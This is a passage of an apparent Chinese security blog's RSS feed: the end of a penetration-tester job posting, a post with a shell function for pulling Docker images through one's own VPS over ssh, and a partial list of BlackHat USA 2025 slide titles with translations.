&#34;Times New Roman&#34;, serif;font-size: 16px;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">4.</span></span><span leaf="">熟悉常见的攻击与防御方法，精通 Web 安全和渗透技术。</span></span></p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;padding: 0px;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;"><span leaf="">任职资格</span></h3><p style="box-sizing: border-box;margin: 20px 10px 20px 0px;padding: 0px 0px 0px 20px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">1.</span></span><span leaf="">统招本科及以上学历，具备安全领域 2 年以上工作经验，计算机、网络、通信等相关专业，能力突出者专业不限；</span></span><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">2.</span></span><span leaf="">熟悉 OWASP TOP10 漏洞原理及实践，以及熟悉 Windows、Linux 等平台使用和攻击技术；熟练掌握 Java、C++、PHP、python 等开发语言；</span></span><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">3.</span></span><span leaf="">熟练应用基本的 WEB 渗透手法如：sql 注入、xss、文件上传、文件包含、命令执行、目录列表等弱点进行渗透测试及恶意代码检测和分析；</span></span><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">4.</span></span><span leaf="">熟悉 WEB 渗透测试的步骤、方法、流程，能够自行进行安全攻防测试，并熟练使用常见的 Web 应用漏洞测试工具，了解其工作原理；</span></span><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">5.</span></span><span leaf="">工作严谨、责任心强，具有良好的团队合作精神和沟通协调能力、较强的领悟、学习能力；</span></span><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">6.</span></span><span leaf="">能够独立编写安全相关工作报告文档等；</span></span><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">7.</span></span><span leaf="">了解国家或者行业的安全规范；</span></span><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">8.</span></span><span leaf="">了解各类安全工具，如漏洞扫描、基线检查等工具。</span></span></p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;padding: 0px;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;"><span leaf="">优先条件</span></h3><p style="box-sizing: border-box;margin: 20px 10px 20px 0px;padding: 0px 0px 0px 20px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">•</span></span><span leaf="">拥有相关认证证书（如 CISSP、CISA 等）、CVE、CNVD、CNNVD 漏洞提交证明或攻防竞赛获奖者优先。</span></span><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">•</span></span><span leaf="">具备代码审计、攻防项目或 CTF 竞赛经验者优先。</span></span></p><hr style="box-sizing: border-box;margin: 0px;padding: 0px;font-family: &#34;PingFang SC&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;border-style: solid;border-width: 1px 0px 0px;border-color: rgba(0, 0, 0, 0.1);transform-origin: 0px 0px;transform: scale(1, 0.5);"/><h3 style="box-sizing: border-box;margin: 40px 10px 20px;padding: 0px;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;"><span leaf="">联系人</span></h3><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">微信: Truth-_z</span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="2247485736">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=1df4e597&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU5MTExMjYwMA%3D%3D%26mid%3D2247485736%26idx%3D1%26sn%3Df27d430ad6b2b0865ec24fcaec9987c0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 30 Oct 2025 10:35:00 +0800</pubDate>
    </item>
    <item>
      <title>如何利用vps远程pull镜像</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU5MTExMjYwMA==&amp;mid=2247485732&amp;idx=1&amp;sn=b692f7c90b39c0fe59121ccd738267c6</link>
      <description>因为某些原因，现在docker image是无法直接pull。但是在很多时候，比如在某些国内的测试开发服务器上还是需要pull镜像的。</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2025-09-10 19:34</span> <span style="display: inline-block;">广东</span>
</p>




<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=c17cd195&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FnoZJ3Kqbu1fibpsNqhEfDPxOSmiccUPvPGMalTxia0mET18u3GFoKwZmDMvPu72ibGg43n3hzUmx8jHlDaDOkBTv0w%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div xmlns="http://www.w3.org/1999/xhtml" style="" data-pm-slice="0 0 []"><p dir="auto" style="line-height: 1.8;margin-top: 1em;font-size: 1em;color: #4a4a4a;font-family: -apple-system;font-size: 16px;"><span leaf="">因为某些原因，现在docker image是无法直接pull。</span><span leaf="">但是在很多时候，比如在某些国内的测试开发服务器上还是需要pull镜像的。</span></p><p dir="auto" style="line-height: 1.8;margin-top: 1em;font-size: 1em;color: #4a4a4a;font-family: -apple-system;font-size: 16px;"><span leaf="">我希望有一种：</span></p><ol style="padding-left: 32px;color: #4a4a4a;" class="list-paddingleft-1"><li style="font-size: 1em;color: #4a4a4a;line-height: 1.8;font-family: -apple-system;font-size: 16px;"><p><span leaf="">不需要额外安装软件，毕竟安装起来也很浪费时间</span></p></li><li style="font-size: 1em;color: #4a4a4a;line-height: 1.8;font-family: -apple-system;font-size: 16px;"><p><span leaf="">不许要承担域名成本以及https成本，虽然现在域名和https证书都很便宜，但是买了以后配置也麻烦。</span></p></li><li style="font-size: 1em;color: #4a4a4a;line-height: 1.8;font-family: -apple-system;font-size: 16px;"><p><span leaf="">在远程服务器上也能直接用。</span></p></li></ol><p dir="auto" style="line-height: 1.8;margin-top: 1em;font-size: 1em;color: #4a4a4a;font-family: -apple-system;font-size: 16px;"><span leaf="">其实利用远程vps + ssh就能够实现了。</span></p><p dir="auto" style="line-height: 1.8;margin-top: 1em;font-size: 1em;color: #4a4a4a;font-family: -apple-system;font-size: 16px;"><span leaf="">一条命令实现,注意如果你的是服务器 linux/arm64需要该改成linux/amd64,我这里是mac用的:</span></p><p dir="auto" style="line-height: 1.8;margin-top: 1em;font-size: 1em;color: #4a4a4a;font-family: -apple-system;font-size: 16px;"><code style="background: #fafafa;padding: 2px 6px;border-radius: 4px;color: #333;font-size: 14px;border: 1px solid #eee;"><span leaf="">(ssh &#39;root@vps&#39; &#34;docker pull &#39;busybox:latest&#39; --platform linux/arm64 &amp;&gt;2 &amp;&amp; docker save &#39;busybox:latest&#39; &amp;&amp; docker rmi &#39;busybox:latest&#39; &amp;&gt;2&#34; | docker load) &amp;&amp; echo &#34;✅ 成功！镜像 &#39;busybox:latest&#39; 已导入本地并从远程删除。&#34; || echo &#34;❌ 失败！请检查上面的错误信息。&#34;</span></code></p><p dir="auto" style="line-height: 1.8;margin-top: 1em;font-size: 1em;color: #4a4a4a;font-family: -apple-system;font-size: 16px;"><span leaf="">通过远程服务器pull以后导入到本地然后自动删除。</span></p><p dir="auto" style="line-height: 1.8;margin-top: 1em;font-size: 1em;color: #4a4a4a;font-family: -apple-system;font-size: 16px;"><span leaf="">如果你的是笔记本，需要长期使用，建议使用shell函数,写入到.zshrc中,然后在终端中使用 pull xxxx:xxx来拉取。</span></p><pre style="color: #333;background: #fafafa;border-radius: 8px;border: 1px solid #eee;box-shadow: 0 2px 4px rgba(0,0,0,0.05);margin: 1.2em 0;padding: 1em 1em 1em;font-size: 14px;line-height: 1.6;white-space: pre-wrap;"><p style="margin-bottom: 1em;display: flex;gap: 6px;"><span style="width: 12px;height: 12px;border-radius: 50%;background-color: #ff5f56;"></span><span style="width: 12px;height: 12px;border-radius: 50%;background-color: #ffbd2e;"></span><span style="width: 12px;height: 12px;border-radius: 50%;background-color: #27c93f;"></span></p><p><code><span leaf="">pull() {</span><span leaf="">  # 检查是否提供了镜像名参数</span><span leaf="">  if [ -z &#34;$1&#34; ]; then</span><span leaf="">    echo &#34;错误: 请提供镜像名称。&#34; &gt;&amp;2</span><span leaf="">    echo &#34;用法: dtrans &lt;镜像名:标签&gt;&#34; &gt;&amp;2</span><span leaf="">    return 1</span><span leaf="">  fi</span><span leaf="">  # --- 请修改这里的配置 ---</span><span leaf="">  local REMOTE_HOST=&#34;root@vps&#34; #! &lt;--- 把这里改成你的远程服务器地址</span><span leaf="">  # -------------------------</span><span leaf="">  local IMAGE_NAME=&#34;$1&#34;</span><span leaf="">  echo &#34;🚀 准备从 $REMOTE_HOST 传输并清理镜像: $IMAGE_NAME&#34;</span><span leaf="">  # 使用 SSH 执行远程命令链，并将 save 的输出通过管道传给本地的 docker load</span><span leaf="">  # 远程命令链: 拉取 -&gt; 保存 -&gt; 删除</span><span leaf="">  # &amp;&gt;2 将 pull 和 rmi 的所有输出重定向到 stderr，避免污染数据流</span><span leaf="">  ssh &#34;$REMOTE_HOST&#34; \</span><span leaf="">    &#34;docker pull &#39;$IMAGE_NAME&#39; --platform linux/arm64 &amp;&gt;2 &amp;&amp; docker save &#39;$IMAGE_NAME&#39; &amp;&amp; docker rmi &#39;$IMAGE_NAME&#39; &amp;&gt;2&#34; \</span><span leaf="">    | docker load</span><span leaf="">  # 检查上一个管道命令的最终退出状态</span><span leaf="">  if [ $? -eq 0 ]; then</span><span leaf="">    echo &#34;✅ 成功！镜像 &#39;$IMAGE_NAME&#39; 已导入本地并从远程删除。&#34;</span><span leaf="">  else</span><span leaf="">    echo &#34;❌ 失败！请检查上面的错误信息。&#34;</span><span leaf="">  fi</span><span leaf="">}</span></code></p></pre><p dir="auto" style="line-height: 1.8;margin-top: 1em;font-size: 1em;color: #4a4a4a;font-family: -apple-system;font-size: 16px;" nodeleaf=""><img data-imgfileid="100002080" alt="image-20250910192953124" class="rich_pages wxw-img" data-ratio="0.12315930388219545" data-type="png" data-w="747" style="max-width: 100%;height: auto;margin: 1em auto;display: block;" src="https://wechat2rss.xlab.app/img-proxy/?k=f5ec19ed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1fibpsNqhEfDPxOSmiccUPvPGQKv5Uiahol0GlxJrTUaVbksopqa774wZhYRYjw7zFCY8MRcRiaX6yKVA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485732">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=241a9f28&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU5MTExMjYwMA%3D%3D%26mid%3D2247485732%26idx%3D1%26sn%3Db692f7c90b39c0fe59121ccd738267c6">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 10 Sep 2025 19:34:00 +0800</pubDate>
    </item>
    <item>
      <title>BlackHat_USA_2025 PPT分享</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU5MTExMjYwMA==&amp;mid=2247485727&amp;idx=1&amp;sn=723dfa85723a820f673343d1d587c622</link>
      <description></description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2025-08-19 11:29</span> <span style="display: inline-block;">浙江</span>
</p>




<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=9af91c8f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FnoZJ3Kqbu1eZ8wGfDnusYibiaQ2dea1ASPSKtcfdcrOsX5DjPhY61QSW4UhYgWpk7xkNScnGyBhmu5IbuEO8H6icg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<table style="box-sizing: border-box;margin: 20px 0px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;border-collapse: collapse;"><thead><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">英文原名</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">中文翻译</span></p></td></tr></thead><tbody><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Adam Zabrocki&amp;Marko Mitic_How to Secure Unique Ecosystem Shipping 1 Billion+ Cores.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">如何保护出货量超十亿核心的独特生态系统</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Alex Bourla&amp;Graham Brereton_Turning the Tables on GlobalProtect Use and Abuse of Palo Alto&#39;s Remote Access Solution.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">扭转乾坤：Palo Alto 远程访问解决方案 GlobalProtect 的使用与滥用</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Alex Kantchelian&amp;Maarten van Dantzig&amp;Diana Kramer_Autonomous Timeline Analysis and Threat Hunting An AI Agent for Timesketch.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">自主时间线分析与威胁狩猎：一个用于 Timesketch 的人工智能代理</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Alex Kantchelian&amp;Ryan Stevens&amp;Yanis Pavlidis&amp;Sadegh Momeni&amp;Casper Neo&amp;Birkett Huber&amp;Elie Bursztein_FACADE High-Precision Insider Threat Detection Using Contrastive Learning.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">FACADE：使用对比学习进行高精度内部威胁检测</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Ali Ranjbar&amp;Tianchang Yang&amp;Kai Tu&amp;Saaman Khalilollahi&amp;Kanika Gupta&amp;Syed Rafiul Hussain_Uncovering &#39;NASty&#39; 5G Baseband Vulnerabilities through Dependency-Aware Fuzzing.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">通过依赖感知模糊测试揭露“NASty”5G 基带漏洞</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Alon Leviev&amp;Netanel Ben Simon&amp;Yair Netzer&amp;Amit Dori_BitUnlocker Leveraging Windows Recovery to Extract BitLocker Secrets.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">BitUnlocker：利用 Windows 恢复功能提取 BitLocker 密钥</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Altaf Shaik&amp;Robert Jaschek_The 5G Titanic.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">5G 泰坦尼克号</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Andrew Brandt_Firewalls Under Fire China&#39;s 5+ Year Campaign to Penetrate Perimeter Network Defenses.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">防火墙告急：中国持续五年以上渗透外围网络防御的行动</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Bela Genge&amp;Ioan Padurean&amp;Dan Macovei_Exploiting DNS for Stealthy User Tracking_WP.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">利用 DNS 进行隐蔽用户追踪（白皮书）</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Bela Genge&amp;Ioan Padurean&amp;Dan Macovei_Exploiting DNS for Stealthy User Tracking.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 